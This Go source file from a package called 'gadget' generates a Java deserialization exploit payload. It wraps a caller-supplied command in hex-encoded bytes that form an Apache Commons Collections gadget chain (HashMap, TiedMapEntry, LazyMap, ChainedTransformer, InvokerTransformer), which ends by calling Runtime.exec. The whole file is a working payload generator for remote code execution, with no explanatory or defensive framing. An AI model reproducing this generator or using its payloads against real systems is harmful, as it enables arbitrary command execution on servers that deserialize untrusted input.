package gadget

import "encoding/hex"

const CCK3 = "CommonsCollectionsK3"

func GetCommonsCollectionsK3(cmd string) []byte {
	prefix := "ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C" +
		"6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017372" +
		"00346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E54" +
		"6965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F" +
		"626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740001767372002A6F7267" +
		"2E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE59482" +
		"9E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C" +
		"6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F" +
		"6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230" +
		"C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F63" +
		"6F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E" +
		"6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1" +
		"D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374" +
		"696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200" +
		"014C000969436F6E7374616E7471007E00037870767200116A6176612E6C616E672E52756E74696D650000" +
		"00000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F" +
		"6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B00" +
		"0569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D6574" +
		"00124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A617661" +
		"2F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073" +
		"296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C61" +
		"73733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001B0000000276" +
		"7200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001B7371007E00" +
		"137571007E001800000002707571007E001800000000740006696E766F6B657571007E001B000000027672" +
		"00106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00187371007E0013" +
		"757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B47020000787000000001"
	cmdStr := generateCmd(cmd)
	suffix := "740004657865637571007E001B0000000171007E00207371007E000F737200116A6176612E757469" +
		"6C2E48617368536574BA44859596B8B7340300007870770C000000103F40000000000000787371007E0000" +
		"3F4000000000000C7708000000100000000078787400017478"
	ser, _ := hex.DecodeString(prefix + cmdStr + suffix)
	return ser
}
